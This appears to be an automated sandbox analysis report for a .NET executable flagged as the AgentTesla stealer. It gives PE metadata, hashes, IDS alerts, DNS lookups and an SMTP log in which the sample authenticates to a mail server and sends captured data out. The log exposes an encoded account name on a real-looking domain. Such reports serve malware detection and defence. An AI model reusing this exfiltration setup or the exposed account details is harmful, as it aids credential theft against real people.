                                                                                      SHA512:654e99ee9ad6a52a87e03b1c13c1f44284f004713c42d9fb464f635dd6259682f6df0cc661a923c9cc9298c03137170342ed81e6f6dc4f79cc060e3589305acd
                                                                                      SSDEEP:24576:uAbYagDnDIWBEZFMKzobF1b0kZSKfElfpBrZKG/rZKuum:caynsnDonb0kCnMOd
                                                                                      File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...$.m`..............P..`............... ........@.. .......................`............@................................

                                                                                      File Icon

                                                                                      Icon Hash:cc92316d713396e8

                                                                                      Static PE Info

                                                                                      General

                                                                                      Entrypoint:0x4d7fb6
                                                                                      Entrypoint Section:.text
                                                                                      Digitally signed:false
                                                                                      Imagebase:0x400000
                                                                                      Subsystem:windows gui
                                                                                      Image File Characteristics:32BIT_MACHINE, EXECUTABLE_IMAGE
                                                                                      DLL Characteristics:NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
                                                                                      Time Stamp:0x606D0A24 [Wed Apr 7 01:25:56 2021 UTC]
                                                                                      TLS Callbacks:
                                                                                      CLR (.Net) Version:v4.0.30319
                                                                                      OS Version Major:4
                                                                                      OS Version Minor:0
                                                                                      File Version Major:4
                                                                                      File Version Minor:0
                                                                                      Subsystem Version Major:4
                                                                                      Subsystem Version Minor:0
                                                                                      Import Hash:f34d5f2d4577ed6d9ceec516c1f5a744

                                                                                      Entrypoint Preview

                                                                                      Instruction
                                                                                      jmp dword ptr [00402000h]
                                                                                      add byte ptr [eax], al
                                                                                      add byte ptr [eax], al
                                                                                      add byte ptr [eax], al
                                                                                      add byte ptr [eax], al
                                                                                      add byte ptr [eax], al
                                                                                      add byte ptr [eax], al
                                                                                      add byte ptr [eax], al
                                                                                      add byte ptr [eax], al
                                                                                      add byte ptr [eax], al
                                                                                      add byte ptr [eax], al
                                                                                      add byte ptr [eax], al
                                                                                      add byte ptr [eax], al
                                                                                      add byte ptr [eax], al
                                                                                      add byte ptr [eax], al
                                                                                      add byte ptr [eax], al
                                                                                      add byte ptr [eax], al
                                                                                      add byte ptr [eax], al
                                                                                      add byte ptr [eax], al
                                                                                      add byte ptr [eax], al
                                                                                      add byte ptr [eax], al
                                                                                      add byte ptr [eax], al
                                                                                      add byte ptr [eax], al
                                                                                      add byte ptr [eax], al
                                                                                      add byte ptr [eax], al
                                                                                      add byte ptr [eax], al
                                                                                      add byte ptr [eax], al
                                                                                      add byte ptr [eax], al
                                                                                      add byte ptr [eax], al
                                                                                      add byte ptr [eax], al
                                                                                      add byte ptr [eax], al
                                                                                      add byte ptr [eax], al
                                                                                      add byte ptr [eax], al
                                                                                      add byte ptr [eax], al
                                                                                      add byte ptr [eax], al
                                                                                      add byte ptr [eax], al
                                                                                      add byte ptr [eax], al
                                                                                      add byte ptr [eax], al
                                                                                      add byte ptr [eax], al
                                                                                      add al, 00h
                                                                                      add byte ptr [eax], al
                                                                                      add byte ptr [eax], al
                                                                                      add al, 00h
                                                                                      add eax, dword ptr [eax]
                                                                                      add byte ptr [eax], al
                                                                                      xor byte ptr [eax], al
                                                                                      add byte ptr [eax+0000000Eh], al
                                                                                      jo 00007F8B00C223B2h
                                                                                      add byte ptr [eax+00000010h], al
                                                                                      mov byte ptr [eax], al
                                                                                      add byte ptr [eax+00000018h], al
                                                                                      mov al, byte ptr [00800000h]
                                                                                      add byte ptr [eax], al
                                                                                      add byte ptr [eax], al
                                                                                      add byte ptr [eax], al
                                                                                      add byte ptr [eax+eax], al
                                                                                      add byte ptr [eax], al
                                                                                      add byte ptr [eax], al
                                                                                      push es
                                                                                      add byte ptr [ecx], al
                                                                                      add byte ptr [eax], al
                                                                                      add byte ptr [eax+02800000h], bh
                                                                                      add byte ptr [eax], al
                                                                                      add al, dl
                                                                                      add byte ptr [eax], al
                                                                                      add byte ptr [ebx], 00000000h
                                                                                      add byte ptr [eax], al
                                                                                      call 00007F8B054223B5h
                                                                                      add byte ptr [eax], al
                                                                                      add byte ptr [eax], al
                                                                                      add dword ptr [eax], eax
                                                                                      add byte ptr [18000000h], 00000001h
                                                                                      add byte ptr [eax+00000006h], al
                                                                                      xor byte ptr [ecx], al
                                                                                      add byte ptr [eax+00000000h], al
                                                                                      add byte ptr [eax], al
                                                                                      add byte ptr [eax], al
                                                                                      add al, 00h
                                                                                      add byte ptr [eax], al
                                                                                      add byte ptr [eax], al

                                                                                      Data Directories

                                                                                      NameVirtual AddressVirtual Size Is in Section
                                                                                      IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                                                                      IMAGE_DIRECTORY_ENTRY_IMPORT0xd7f640x4f.text
                                                                                      IMAGE_DIRECTORY_ENTRY_RESOURCE0xd80000x1a300.rsrc
                                                                                      IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                                                                      IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                                                                                      IMAGE_DIRECTORY_ENTRY_BASERELOC0xf40000xc.reloc
                                                                                      IMAGE_DIRECTORY_ENTRY_DEBUG0x00x0
                                                                                      IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                                                                      IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                                                                      IMAGE_DIRECTORY_ENTRY_TLS0x00x0
                                                                                      IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
                                                                                      IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                                                                      IMAGE_DIRECTORY_ENTRY_IAT0x20000x8.text
                                                                                      IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                                                                      IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x20080x48.text
                                                                                      IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                                                                      Sections

                                                                                      NameVirtual AddressVirtual SizeRaw SizeXored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                                                                      .text0x20000xd5fbc0xd6000False0.854824173116data7.79009992591IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
                                                                                      .rsrc0xd80000x1a3000x1a400False0.141173735119data3.02489396715IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                                      .reloc0xf40000xc0x200False0.044921875data0.101910425663IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

                                                                                      Resources

                                                                                      NameRVASizeTypeLanguageCountry
                                                                                      RT_ICON0xd82200x468GLS_BINARY_LSB_FIRST
                                                                                      RT_ICON0xd86880x162aPNG image data, 256 x 256, 8-bit colormap, non-interlaced
                                                                                      RT_ICON0xd9cb40x25a8dBase IV DBT of `.DBF, block length 9216, next free block index 40, next free block 0, next used block 0
                                                                                      RT_ICON0xdc25c0x10a8dBase IV DBT of @.DBF, block length 4096, next free block index 40, next free block 0, next used block 0
                                                                                      RT_ICON0xdd3040x10828dBase III DBT, version number 0, next free block index 40
                                                                                      RT_ICON0xedb2c0x4228dBase IV DBT of \200.DBF, blocks size 0, block length 16384, next free block index 40, next free block 0, next used block 0
                                                                                      RT_GROUP_ICON0xf1d540x5adata
                                                                                      RT_VERSION0xf1db00x364data
                                                                                      RT_MANIFEST0xf21140x1eaXML 1.0 document, UTF-8 Unicode (with BOM) text, with CRLF line terminators

                                                                                      Imports

                                                                                      DLLImport
                                                                                      mscoree.dll_CorExeMain

                                                                                      Version Infos

                                                                                      DescriptionData
                                                                                      Translation0x0000 0x04b0
                                                                                      LegalCopyrightCopyright 2021
                                                                                      Assembly Version7.0.0.1
                                                                                      InternalNameIComparable.exe
                                                                                      FileVersion7.0.0.1
                                                                                      CompanyNameFileCodeGroup
                                                                                      LegalTrademarks
                                                                                      CommentsFileCodeGroup
                                                                                      ProductNameMajor Project
                                                                                      ProductVersion7.0.0.1
                                                                                      FileDescriptionMajor Project
                                                                                      OriginalFilenameIComparable.exe

                                                                                      Network Behavior

                                                                                      Snort IDS Alerts

                                                                                      TimestampProtocolSIDMessageSource PortDest PortSource IPDest IP
                                                                                      04/08/21-13:12:13.204249TCP2030171ET TROJAN AgentTesla Exfil Via SMTP49764587192.168.2.4173.237.136.115
                                                                                      04/08/21-13:12:18.732561ICMP402ICMP Destination Unreachable Port Unreachable192.168.2.48.8.8.8
                                                                                      04/08/21-13:12:18.883815TCP2030171ET TROJAN AgentTesla Exfil Via SMTP49765587192.168.2.4173.237.136.115

                                                                                      Network Port Distribution

                                                                                      TCP Packets

                                                                                      TimestampSource PortDest PortSource IPDest IP
                                                                                      Apr 8, 2021 13:12:11.751586914 CEST49764587192.168.2.4173.237.136.115
                                                                                      Apr 8, 2021 13:12:11.892724037 CEST58749764173.237.136.115192.168.2.4
                                                                                      Apr 8, 2021 13:12:11.892872095 CEST49764587192.168.2.4173.237.136.115
                                                                                      Apr 8, 2021 13:12:12.341229916 CEST58749764173.237.136.115192.168.2.4
                                                                                      Apr 8, 2021 13:12:12.341945887 CEST49764587192.168.2.4173.237.136.115
                                                                                      Apr 8, 2021 13:12:12.483016968 CEST58749764173.237.136.115192.168.2.4
                                                                                      Apr 8, 2021 13:12:12.484559059 CEST49764587192.168.2.4173.237.136.115
                                                                                      Apr 8, 2021 13:12:12.626087904 CEST58749764173.237.136.115192.168.2.4
                                                                                      Apr 8, 2021 13:12:12.631182909 CEST49764587192.168.2.4173.237.136.115
                                                                                      Apr 8, 2021 13:12:12.772691011 CEST58749764173.237.136.115192.168.2.4
                                                                                      Apr 8, 2021 13:12:12.775338888 CEST49764587192.168.2.4173.237.136.115
                                                                                      Apr 8, 2021 13:12:12.916110039 CEST58749764173.237.136.115192.168.2.4
                                                                                      Apr 8, 2021 13:12:12.918951988 CEST49764587192.168.2.4173.237.136.115
                                                                                      Apr 8, 2021 13:12:13.061511040 CEST58749764173.237.136.115192.168.2.4
                                                                                      Apr 8, 2021 13:12:13.061804056 CEST49764587192.168.2.4173.237.136.115
                                                                                      Apr 8, 2021 13:12:13.202497005 CEST58749764173.237.136.115192.168.2.4
                                                                                      Apr 8, 2021 13:12:13.202527046 CEST58749764173.237.136.115192.168.2.4
                                                                                      Apr 8, 2021 13:12:13.204248905 CEST49764587192.168.2.4173.237.136.115
                                                                                      Apr 8, 2021 13:12:13.204457045 CEST49764587192.168.2.4173.237.136.115
                                                                                      Apr 8, 2021 13:12:13.205173969 CEST49764587192.168.2.4173.237.136.115
                                                                                      Apr 8, 2021 13:12:13.205271006 CEST49764587192.168.2.4173.237.136.115
                                                                                      Apr 8, 2021 13:12:13.345253944 CEST58749764173.237.136.115192.168.2.4
                                                                                      Apr 8, 2021 13:12:13.346101999 CEST58749764173.237.136.115192.168.2.4
                                                                                      Apr 8, 2021 13:12:13.346486092 CEST58749764173.237.136.115192.168.2.4
                                                                                      Apr 8, 2021 13:12:13.387209892 CEST49764587192.168.2.4173.237.136.115
                                                                                      Apr 8, 2021 13:12:16.108810902 CEST49764587192.168.2.4173.237.136.115
                                                                                      Apr 8, 2021 13:12:16.249650002 CEST58749764173.237.136.115192.168.2.4
                                                                                      Apr 8, 2021 13:12:16.250262976 CEST58749764173.237.136.115192.168.2.4
                                                                                      Apr 8, 2021 13:12:16.250387907 CEST49764587192.168.2.4173.237.136.115
                                                                                      Apr 8, 2021 13:12:16.250555038 CEST49764587192.168.2.4173.237.136.115
                                                                                      Apr 8, 2021 13:12:16.391377926 CEST58749764173.237.136.115192.168.2.4
                                                                                      Apr 8, 2021 13:12:17.700057030 CEST49765587192.168.2.4173.237.136.115
                                                                                      Apr 8, 2021 13:12:17.844805002 CEST58749765173.237.136.115192.168.2.4
                                                                                      Apr 8, 2021 13:12:17.845001936 CEST49765587192.168.2.4173.237.136.115
                                                                                      Apr 8, 2021 13:12:18.000863075 CEST58749765173.237.136.115192.168.2.4
                                                                                      Apr 8, 2021 13:12:18.001379013 CEST49765587192.168.2.4173.237.136.115
                                                                                      Apr 8, 2021 13:12:18.146533966 CEST58749765173.237.136.115192.168.2.4
                                                                                      Apr 8, 2021 13:12:18.147116899 CEST49765587192.168.2.4173.237.136.115
                                                                                      Apr 8, 2021 13:12:18.292532921 CEST58749765173.237.136.115192.168.2.4
                                                                                      Apr 8, 2021 13:12:18.293663979 CEST49765587192.168.2.4173.237.136.115
                                                                                      Apr 8, 2021 13:12:18.439263105 CEST58749765173.237.136.115192.168.2.4
                                                                                      Apr 8, 2021 13:12:18.439874887 CEST49765587192.168.2.4173.237.136.115
                                                                                      Apr 8, 2021 13:12:18.589035034 CEST58749765173.237.136.115192.168.2.4
                                                                                      Apr 8, 2021 13:12:18.589481115 CEST49765587192.168.2.4173.237.136.115
                                                                                      Apr 8, 2021 13:12:18.736772060 CEST58749765173.237.136.115192.168.2.4
                                                                                      Apr 8, 2021 13:12:18.737278938 CEST49765587192.168.2.4173.237.136.115
                                                                                      Apr 8, 2021 13:12:18.882014036 CEST58749765173.237.136.115192.168.2.4
                                                                                      Apr 8, 2021 13:12:18.882054090 CEST58749765173.237.136.115192.168.2.4
                                                                                      Apr 8, 2021 13:12:18.883548975 CEST49765587192.168.2.4173.237.136.115
                                                                                      Apr 8, 2021 13:12:18.883815050 CEST49765587192.168.2.4173.237.136.115
                                                                                      Apr 8, 2021 13:12:18.883964062 CEST49765587192.168.2.4173.237.136.115
                                                                                      Apr 8, 2021 13:12:18.884036064 CEST49765587192.168.2.4173.237.136.115
                                                                                      Apr 8, 2021 13:12:18.884236097 CEST49765587192.168.2.4173.237.136.115
                                                                                      Apr 8, 2021 13:12:18.884324074 CEST49765587192.168.2.4173.237.136.115
                                                                                      Apr 8, 2021 13:12:18.884398937 CEST49765587192.168.2.4173.237.136.115
                                                                                      Apr 8, 2021 13:12:18.884473085 CEST49765587192.168.2.4173.237.136.115
                                                                                      Apr 8, 2021 13:12:19.029102087 CEST58749765173.237.136.115192.168.2.4
                                                                                      Apr 8, 2021 13:12:19.029145956 CEST58749765173.237.136.115192.168.2.4
                                                                                      Apr 8, 2021 13:12:19.029650927 CEST58749765173.237.136.115192.168.2.4
                                                                                      Apr 8, 2021 13:12:19.029669046 CEST58749765173.237.136.115192.168.2.4
                                                                                      Apr 8, 2021 13:12:19.030076027 CEST58749765173.237.136.115192.168.2.4
                                                                                      Apr 8, 2021 13:12:19.075149059 CEST49765587192.168.2.4173.237.136.115

                                                                                      UDP Packets

                                                                                      TimestampSource PortDest PortSource IPDest IP
                                                                                      Apr 8, 2021 13:10:11.405927896 CEST6464653192.168.2.48.8.8.8
                                                                                      Apr 8, 2021 13:10:11.419214010 CEST53646468.8.8.8192.168.2.4
                                                                                      Apr 8, 2021 13:10:12.148623943 CEST6529853192.168.2.48.8.8.8
                                                                                      Apr 8, 2021 13:10:12.161267042 CEST53652988.8.8.8192.168.2.4
                                                                                      Apr 8, 2021 13:10:12.666174889 CEST5912353192.168.2.48.8.8.8
                                                                                      Apr 8, 2021 13:10:12.684910059 CEST53591238.8.8.8192.168.2.4
                                                                                      Apr 8, 2021 13:10:16.861643076 CEST5453153192.168.2.48.8.8.8
                                                                                      Apr 8, 2021 13:10:16.876132011 CEST53545318.8.8.8192.168.2.4
                                                                                      Apr 8, 2021 13:10:18.055017948 CEST4971453192.168.2.48.8.8.8
                                                                                      Apr 8, 2021 13:10:18.067681074 CEST53497148.8.8.8192.168.2.4
                                                                                      Apr 8, 2021 13:10:18.915924072 CEST5802853192.168.2.48.8.8.8
                                                                                      Apr 8, 2021 13:10:18.929335117 CEST53580288.8.8.8192.168.2.4
                                                                                      Apr 8, 2021 13:10:19.749973059 CEST5309753192.168.2.48.8.8.8
                                                                                      Apr 8, 2021 13:10:19.763518095 CEST53530978.8.8.8192.168.2.4
                                                                                      Apr 8, 2021 13:10:20.401562929 CEST4925753192.168.2.48.8.8.8
                                                                                      Apr 8, 2021 13:10:20.414076090 CEST53492578.8.8.8192.168.2.4
                                                                                      Apr 8, 2021 13:10:21.121701002 CEST6238953192.168.2.48.8.8.8
                                                                                      Apr 8, 2021 13:10:21.134613991 CEST53623898.8.8.8192.168.2.4
                                                                                      Apr 8, 2021 13:10:29.628118992 CEST4991053192.168.2.48.8.8.8
                                                                                      Apr 8, 2021 13:10:29.640763044 CEST53499108.8.8.8192.168.2.4
                                                                                      Apr 8, 2021 13:10:35.486479044 CEST5585453192.168.2.48.8.8.8
                                                                                      Apr 8, 2021 13:10:35.498265028 CEST53558548.8.8.8192.168.2.4
                                                                                      Apr 8, 2021 13:10:36.259121895 CEST6454953192.168.2.48.8.8.8
                                                                                      Apr 8, 2021 13:10:36.273030043 CEST53645498.8.8.8192.168.2.4
                                                                                      Apr 8, 2021 13:10:37.065902948 CEST6315353192.168.2.48.8.8.8
                                                                                      Apr 8, 2021 13:10:37.079010963 CEST53631538.8.8.8192.168.2.4
                                                                                      Apr 8, 2021 13:10:37.801683903 CEST5299153192.168.2.48.8.8.8
                                                                                      Apr 8, 2021 13:10:37.814986944 CEST53529918.8.8.8192.168.2.4
                                                                                      Apr 8, 2021 13:10:38.460439920 CEST5370053192.168.2.48.8.8.8
                                                                                      Apr 8, 2021 13:10:38.473133087 CEST53537008.8.8.8192.168.2.4
                                                                                      Apr 8, 2021 13:10:40.601171017 CEST5172653192.168.2.48.8.8.8
                                                                                      Apr 8, 2021 13:10:40.614027023 CEST53517268.8.8.8192.168.2.4
                                                                                      Apr 8, 2021 13:10:41.511532068 CEST5679453192.168.2.48.8.8.8
                                                                                      Apr 8, 2021 13:10:41.524739981 CEST53567948.8.8.8192.168.2.4
                                                                                      Apr 8, 2021 13:10:44.023112059 CEST5653453192.168.2.48.8.8.8
                                                                                      Apr 8, 2021 13:10:44.038124084 CEST53565348.8.8.8192.168.2.4
                                                                                      Apr 8, 2021 13:10:44.754121065 CEST5662753192.168.2.48.8.8.8
                                                                                      Apr 8, 2021 13:10:44.767132998 CEST53566278.8.8.8192.168.2.4
                                                                                      Apr 8, 2021 13:10:45.511768103 CEST5662153192.168.2.48.8.8.8
                                                                                      Apr 8, 2021 13:10:45.525204897 CEST53566218.8.8.8192.168.2.4
                                                                                      Apr 8, 2021 13:10:47.025949955 CEST6311653192.168.2.48.8.8.8
                                                                                      Apr 8, 2021 13:10:47.039391041 CEST53631168.8.8.8192.168.2.4
                                                                                      Apr 8, 2021 13:10:47.810931921 CEST6407853192.168.2.48.8.8.8
                                                                                      Apr 8, 2021 13:10:47.824527025 CEST53640788.8.8.8192.168.2.4
                                                                                      Apr 8, 2021 13:11:03.160079956 CEST6480153192.168.2.48.8.8.8
                                                                                      Apr 8, 2021 13:11:03.296046019 CEST53648018.8.8.8192.168.2.4
                                                                                      Apr 8, 2021 13:11:03.760831118 CEST6172153192.168.2.48.8.8.8
                                                                                      Apr 8, 2021 13:11:03.866934061 CEST53617218.8.8.8192.168.2.4
                                                                                      Apr 8, 2021 13:11:04.310239077 CEST5125553192.168.2.48.8.8.8
                                                                                      Apr 8, 2021 13:11:04.322916031 CEST53512558.8.8.8192.168.2.4
                                                                                      Apr 8, 2021 13:11:04.667058945 CEST6152253192.168.2.48.8.8.8
                                                                                      Apr 8, 2021 13:11:04.680533886 CEST53615228.8.8.8192.168.2.4
                                                                                      Apr 8, 2021 13:11:04.891437054 CEST5233753192.168.2.48.8.8.8
                                                                                      Apr 8, 2021 13:11:04.919121027 CEST53523378.8.8.8192.168.2.4
                                                                                      Apr 8, 2021 13:11:05.106879950 CEST5504653192.168.2.48.8.8.8
                                                                                      Apr 8, 2021 13:11:05.245903015 CEST53550468.8.8.8192.168.2.4
                                                                                      Apr 8, 2021 13:11:05.731235027 CEST4961253192.168.2.48.8.8.8
                                                                                      Apr 8, 2021 13:11:05.746179104 CEST53496128.8.8.8192.168.2.4
                                                                                      Apr 8, 2021 13:11:06.110707045 CEST4928553192.168.2.48.8.8.8
                                                                                      Apr 8, 2021 13:11:06.124465942 CEST53492858.8.8.8192.168.2.4
                                                                                      Apr 8, 2021 13:11:06.325447083 CEST5060153192.168.2.48.8.8.8
                                                                                      Apr 8, 2021 13:11:06.362776995 CEST53506018.8.8.8192.168.2.4
                                                                                      Apr 8, 2021 13:11:06.685669899 CEST6087553192.168.2.48.8.8.8
                                                                                      Apr 8, 2021 13:11:06.698493004 CEST53608758.8.8.8192.168.2.4
                                                                                      Apr 8, 2021 13:11:07.764422894 CEST5644853192.168.2.48.8.8.8
                                                                                      Apr 8, 2021 13:11:07.777683973 CEST53564488.8.8.8192.168.2.4
                                                                                      Apr 8, 2021 13:11:08.163750887 CEST5917253192.168.2.48.8.8.8
                                                                                      Apr 8, 2021 13:11:08.176600933 CEST53591728.8.8.8192.168.2.4
                                                                                      Apr 8, 2021 13:11:19.108386993 CEST6242053192.168.2.48.8.8.8
                                                                                      Apr 8, 2021 13:11:19.120796919 CEST53624208.8.8.8192.168.2.4
                                                                                      Apr 8, 2021 13:11:19.612010002 CEST6057953192.168.2.48.8.8.8
                                                                                      Apr 8, 2021 13:11:19.644701004 CEST53605798.8.8.8192.168.2.4
                                                                                      Apr 8, 2021 13:11:23.774635077 CEST5018353192.168.2.48.8.8.8
                                                                                      Apr 8, 2021 13:11:23.795435905 CEST53501838.8.8.8192.168.2.4
                                                                                      Apr 8, 2021 13:11:53.857142925 CEST6153153192.168.2.48.8.8.8
                                                                                      Apr 8, 2021 13:11:53.869004965 CEST53615318.8.8.8192.168.2.4
                                                                                      Apr 8, 2021 13:11:55.475087881 CEST4922853192.168.2.48.8.8.8
                                                                                      Apr 8, 2021 13:11:55.490016937 CEST53492288.8.8.8192.168.2.4
                                                                                      Apr 8, 2021 13:12:11.303102016 CEST5979453192.168.2.48.8.8.8
                                                                                      Apr 8, 2021 13:12:11.446167946 CEST53597948.8.8.8192.168.2.4
                                                                                      Apr 8, 2021 13:12:11.471503973 CEST5591653192.168.2.48.8.8.8
                                                                                      Apr 8, 2021 13:12:11.641343117 CEST53559168.8.8.8192.168.2.4
                                                                                      Apr 8, 2021 13:12:16.626015902 CEST5275253192.168.2.48.8.8.8
                                                                                      Apr 8, 2021 13:12:16.638603926 CEST53527528.8.8.8192.168.2.4
                                                                                      Apr 8, 2021 13:12:16.686438084 CEST6054253192.168.2.48.8.8.8
                                                                                      Apr 8, 2021 13:12:17.684998989 CEST6054253192.168.2.48.8.8.8
                                                                                      Apr 8, 2021 13:12:17.697777033 CEST53605428.8.8.8192.168.2.4
                                                                                      Apr 8, 2021 13:12:18.732429981 CEST53605428.8.8.8192.168.2.4

                                                                                      ICMP Packets

                                                                                      TimestampSource IPDest IPChecksumCodeType
                                                                                      Apr 8, 2021 13:12:18.732561111 CEST192.168.2.48.8.8.8cffe(Port unreachable)Destination Unreachable

                                                                                      DNS Queries

                                                                                      TimestampSource IPDest IPTrans IDOP CodeNameTypeClass
                                                                                      Apr 8, 2021 13:12:11.303102016 CEST192.168.2.48.8.8.80xc69bStandard query (0)mail.1300dentrepair.com.auA (IP address)IN (0x0001)
                                                                                      Apr 8, 2021 13:12:11.471503973 CEST192.168.2.48.8.8.80x2702Standard query (0)mail.1300dentrepair.com.auA (IP address)IN (0x0001)
                                                                                      Apr 8, 2021 13:12:16.626015902 CEST192.168.2.48.8.8.80xc2f1Standard query (0)mail.1300dentrepair.com.auA (IP address)IN (0x0001)
                                                                                      Apr 8, 2021 13:12:16.686438084 CEST192.168.2.48.8.8.80x101eStandard query (0)mail.1300dentrepair.com.auA (IP address)IN (0x0001)
                                                                                      Apr 8, 2021 13:12:17.684998989 CEST192.168.2.48.8.8.80x101eStandard query (0)mail.1300dentrepair.com.auA (IP address)IN (0x0001)

                                                                                      DNS Answers

                                                                                      TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClass
                                                                                      Apr 8, 2021 13:12:11.446167946 CEST8.8.8.8192.168.2.40xc69bNo error (0)mail.1300dentrepair.com.au1300dentrepair.com.auCNAME (Canonical name)IN (0x0001)
                                                                                      Apr 8, 2021 13:12:11.446167946 CEST8.8.8.8192.168.2.40xc69bNo error (0)1300dentrepair.com.au173.237.136.115A (IP address)IN (0x0001)
                                                                                      Apr 8, 2021 13:12:11.641343117 CEST8.8.8.8192.168.2.40x2702No error (0)mail.1300dentrepair.com.au1300dentrepair.com.auCNAME (Canonical name)IN (0x0001)
                                                                                      Apr 8, 2021 13:12:11.641343117 CEST8.8.8.8192.168.2.40x2702No error (0)1300dentrepair.com.au173.237.136.115A (IP address)IN (0x0001)
                                                                                      Apr 8, 2021 13:12:16.638603926 CEST8.8.8.8192.168.2.40xc2f1No error (0)mail.1300dentrepair.com.au1300dentrepair.com.auCNAME (Canonical name)IN (0x0001)
                                                                                      Apr 8, 2021 13:12:16.638603926 CEST8.8.8.8192.168.2.40xc2f1No error (0)1300dentrepair.com.au173.237.136.115A (IP address)IN (0x0001)
                                                                                      Apr 8, 2021 13:12:17.697777033 CEST8.8.8.8192.168.2.40x101eNo error (0)mail.1300dentrepair.com.au1300dentrepair.com.auCNAME (Canonical name)IN (0x0001)
                                                                                      Apr 8, 2021 13:12:17.697777033 CEST8.8.8.8192.168.2.40x101eNo error (0)1300dentrepair.com.au173.237.136.115A (IP address)IN (0x0001)
                                                                                      Apr 8, 2021 13:12:18.732429981 CEST8.8.8.8192.168.2.40x101eServer failure (2)mail.1300dentrepair.com.aunonenoneA (IP address)IN (0x0001)

                                                                                      SMTP Packets

                                                                                      TimestampSource PortDest PortSource IPDest IPCommands
                                                                                      Apr 8, 2021 13:12:12.341229916 CEST58749764173.237.136.115192.168.2.4220-uscentral4.myserverhosts.com ESMTP Exim 4.91 #1 Thu, 08 Apr 2021 06:12:12 -0500
                                                                                      220-We do not authorize the use of this system to transport unsolicited,
                                                                                      220 and/or bulk e-mail.
                                                                                      Apr 8, 2021 13:12:12.341945887 CEST49764587192.168.2.4173.237.136.115EHLO 878164
                                                                                      Apr 8, 2021 13:12:12.483016968 CEST58749764173.237.136.115192.168.2.4250-uscentral4.myserverhosts.com Hello 878164 [185.32.222.8]
                                                                                      250-SIZE 52428800
                                                                                      250-8BITMIME
                                                                                      250-PIPELINING
                                                                                      250-AUTH PLAIN LOGIN
                                                                                      250-STARTTLS
                                                                                      250 HELP
                                                                                      Apr 8, 2021 13:12:12.484559059 CEST49764587192.168.2.4173.237.136.115AUTH login bmV3YWRtaW5AMTMwMGRlbnRyZXBhaXIuY29tLmF1
                                                                                      Apr 8, 2021 13:12:12.626087904 CEST58749764173.237.136.115192.168.2.4334 UGFzc3dvcmQ6
                                                                                      Apr 8, 2021 13:12:12.772691011 CEST58749764173.237.136.115192.168.2.4235 Authentication succeeded
                                                                                      Apr 8, 2021 13:12:12.775338888 CEST49764587192.168.2.4173.237.136.115MAIL FROM:<newadmin@1300dentrepair.com.au>
                                                                                      Apr 8, 2021 13:12:12.916110039 CEST58749764173.237.136.115192.168.2.4250 OK
                                                                                      Apr 8, 2021 13:12:12.918951988 CEST49764587192.168.2.4173.237.136.115RCPT TO:<newadmin@1300dentrepair.com.au>
                                                                                      Apr 8, 2021 13:12:13.061511040 CEST58749764173.237.136.115192.168.2.4250 Accepted
                                                                                      Apr 8, 2021 13:12:13.061804056 CEST49764587192.168.2.4173.237.136.115DATA
                                                                                      Apr 8, 2021 13:12:13.202527046 CEST58749764173.237.136.115192.168.2.4354 Enter message, ending with "." on a line by itself
                                                                                      Apr 8, 2021 13:12:13.205271006 CEST49764587192.168.2.4173.237.136.115.
                                                                                      Apr 8, 2021 13:12:13.346486092 CEST58749764173.237.136.115192.168.2.4250 OK id=1lUSa5-002MD1-4A
                                                                                      Apr 8, 2021 13:12:16.108810902 CEST49764587192.168.2.4173.237.136.115QUIT
                                                                                      Apr 8, 2021 13:12:16.249650002 CEST58749764173.237.136.115192.168.2.4221 uscentral4.myserverhosts.com closing connection
                                                                                      Apr 8, 2021 13:12:18.000863075 CEST58749765173.237.136.115192.168.2.4220-uscentral4.myserverhosts.com ESMTP Exim 4.91 #1 Thu, 08 Apr 2021 06:12:17 -0500
                                                                                      220-We do not authorize the use of this system to transport unsolicited,
                                                                                      220 and/or bulk e-mail.
                                                                                      Apr 8, 2021 13:12:18.001379013 CEST49765587192.168.2.4173.237.136.115EHLO 878164
                                                                                      Apr 8, 2021 13:12:18.146533966 CEST58749765173.237.136.115192.168.2.4250-uscentral4.myserverhosts.com Hello 878164 [185.32.222.8]
                                                                                      250-SIZE 52428800
                                                                                      250-8BITMIME
                                                                                      250-PIPELINING
                                                                                      250-AUTH PLAIN LOGIN
                                                                                      250-STARTTLS
                                                                                      250 HELP
                                                                                      Apr 8, 2021 13:12:18.147116899 CEST49765587192.168.2.4173.237.136.115AUTH login bmV3YWRtaW5AMTMwMGRlbnRyZXBhaXIuY29tLmF1
                                                                                      Apr 8, 2021 13:12:18.292532921 CEST58749765173.237.136.115192.168.2.4334 UGFzc3dvcmQ6
                                                                                      Apr 8, 2021 13:12:18.439263105 CEST58749765173.237.136.115192.168.2.4235 Authentication succeeded
                                                                                      Apr 8, 2021 13:12:18.439874887 CEST49765587192.168.2.4173.237.136.115MAIL FROM:<newadmin@1300dentrepair.com.au>
                                                                                      Apr 8, 2021 13:12:18.589035034 CEST58749765173.237.136.115192.168.2.4250 OK
                                                                                      Apr 8, 2021 13:12:18.589481115 CEST49765587192.168.2.4173.237.136.115RCPT TO:<newadmin@1300dentrepair.com.au>
                                                                                      Apr 8, 2021 13:12:18.736772060 CEST58749765173.237.136.115192.168.2.4250 Accepted
                                                                                      Apr 8, 2021 13:12:18.737278938 CEST49765587192.168.2.4173.237.136.115DATA
                                                                                      Apr 8, 2021 13:12:18.882054090 CEST58749765173.237.136.115192.168.2.4354 Enter message, ending with "." on a line by itself
                                                                                      Apr 8, 2021 13:12:18.884473085 CEST49765587192.168.2.4173.237.136.115.
